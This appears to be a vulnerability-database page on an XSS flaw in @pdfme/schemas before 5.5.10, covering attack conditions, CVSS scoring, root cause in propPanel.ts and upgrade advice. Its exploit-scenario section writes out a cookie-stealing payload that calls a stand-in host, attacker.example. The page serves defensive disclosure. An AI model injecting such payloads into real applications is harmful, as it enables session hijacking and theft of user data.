Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
AccessInject XSS payload into options.labels override
-
DeliveryVictim opens pdfme Designer application
-
ExploitVictim selects multiVariableText field with no variable placeholders
-
Executioni18n label string concatenated into innerHTML unsanitized
-
PersistArbitrary JavaScript executes in victim browser context
-
ImpactSession data or credentials exfiltrated
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK
2 techniques across 2 tactics: Initial Access, Execution The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | Attacker must be able to influence the options.labels object passed to the pdfme Designer component - this requires either direct code-level access (insider or supply chain), or an application that exposes label customization to end users (PR:L). Exploitation is further gated on the victim opening the Designer and selecting a multiVariableText schema field that contains no {variable} placeholder strings, a non-default field state (AT:P). The Zod validation enforces string type on labels but not content, so no bypass of a content filter is needed once options.labels is reachable. Exploitation is limited to the browser context of the victim user; it does not provide server-side code execution. The attack does not succeed on multiVariableText fields that do contain variable placeholders, as the vulnerable innerHTML branch is only reached in their absence. |
| Impact | The CVSS 4.0 vector (AV:N/AC:H/AT:P/PR:L/UI:P, score 2.1) accurately captures the multi-condition nature of this vulnerability. Real-world risk is bounded by three compounding requirements: the attacker must have write access to the options.labels configuration passed to the Designer component (PR:L), the attack requires specific state (AT:P - a multiVariableText field with no variable placeholders must be present), and a victim must actively interact with the Designer UI (UI:P). This is not a broadly exploitable internet-facing flaw - it primarily threatens applications where end users can customize Designer label configurations, or where a malicious insider or supply-chain compromise can influence the options object. A PoC is published in the GHSA advisory, lowering the bar for exploitation if prerequisites are met. No CISA KEV listing is present, and EPSS data is not provided in the input. The low CVSS score is consistent with limited impact metrics (VC:L/VI:L) - XSS here enables session context access but not full system compromise. |
| Exploit ScenarioDerived | An attacker with access to configure a pdfme Designer instance injects a malicious payload such as <img src=x onerror=fetch('https://attacker.example/steal?c='+document.cookie)> as the value for a label key like schemas.mvt.typingInstructions in options.labels. When a victim user opens the Designer and clicks on a multiVariableText field that contains no {variable} placeholders, the injected string is written directly to innerHTML, executing the payload and exfiltrating session cookies or other browser-accessible data. A working PoC is published in GHSA-xgx4-2wgv-4jhm. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAI
Cross-site scripting in @pdfme/schemas before 5.5.10 allows an attacker who can supply the Designer's options.labels configuration to execute arbitrary JavaScript in the browser of any user who opens the Designer and selects a multiVariableText field containing no variable placeholders. The vulnerable sink at propPanel.ts:65-71 concatenates i18n-translated strings directly into innerHTML without HTML encoding; while the adjacent color value is allowlist-validated (showing existing security awareness), the label strings were overlooked. No active exploitation is confirmed, but a proof-of-concept is published in the GHSA advisory. The CVSS 4.0 score of 2.1 reflects multiple required preconditions: attacker control over labels configuration, a specific UI trigger state, and passive victim interaction.
RemediationAI
Upgrade @pdfme/schemas to version 5.5.10 or later, which is the vendor-released patch per the GHSA advisory at https://github.com/pdfme/pdfme/security/advisories/GHSA-xgx4-2wgv-4jhm. If an immediate upgrade is not feasible, restrict which users or roles can supply custom options.labels values to the Designer - specifically preventing untrusted input from reaching the i18n label dictionary. As an additional control, audit any application code that passes user-supplied data into options.labels and apply HTML encoding (e.g., DOMPurify or textContent assignment instead of innerHTML) at the application layer; note this is a workaround and not a substitute for patching. There are no known side effects from upgrading to 5.5.10.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 2 packages in npm, euvd
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
The affected package is @pdfme/schemas (CPE: cpe:2.3:a:pdfme:schemas:*:*:*:*:*:*:*:*), the schema rendering layer of the open-source pdfme PDF design framework. The root cause (CWE-79: Improper Neutralization of Input During Web Page Generation) exists in packages/schemas/src/multiVariableText/propPanel.ts at lines 65-71, where i18n()-returned strings are string-concatenated and assigned to a DOM element's innerHTML property. The i18n() function (packages/ui/src/i18n.ts:903) is a plain dictionary lookup with no HTML encoding. User-supplied options.labels values are deep-merged into this dictionary via AppContextProvider.tsx:57-63 using deepMerge() after only Zod type validation (z.record(z.string(), z.string())), which enforces string type but not content safety. The XSS trigger path is conditional: the vulnerable innerHTML assignment only occurs when no {variable} placeholders are present in the selected multiVariableText field, narrowing the exploitation window.
Know when Schemas gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
CVSS:4.0/AV:N/AC:H/AT:P/PR:L/UI:P/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N
Attacker needs PR:L to control options.labels; AC:H and UI:R reflect the conditional trigger state and required victim interaction; S:C and C:L/I:L reflect browser-context XSS scope change.
Primary rating from Vendor (VulnCheck).
CVSS VectorVendor: VulnCheck
Lifecycle Timeline
2DescriptionCVE.org
pdfme schemas before 5.5.10 contains a cross-site scripting vulnerability in the multiVariableText property panel that assigns unsanitized i18n label values to innerHTML. Attackers who control label overrides through options.labels can inject arbitrary JavaScript that executes when users open the Designer and select a multiVariableText field without variable placeholders.
Blast Radius
ecosystem impact- 12 npm packages depend on @pdfme/schemas (7 direct, 5 indirect)
Ecosystem-wide dependent count for version 5.5.10.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.
Cross-site scripting in @pdfme/schemas before 5.5.9 allows any party who can supply a malicious template to execute arbi
Cross-site scripting in @pdfme/schemas before 5.5.9 allows execution of arbitrary JavaScript in users' browsers via unsa
EUVD-2026-68400
GHSA-v7hf-w8f6-4v98
NVD
CVE.org
EPSS
Vulnrichment
Exploit-DB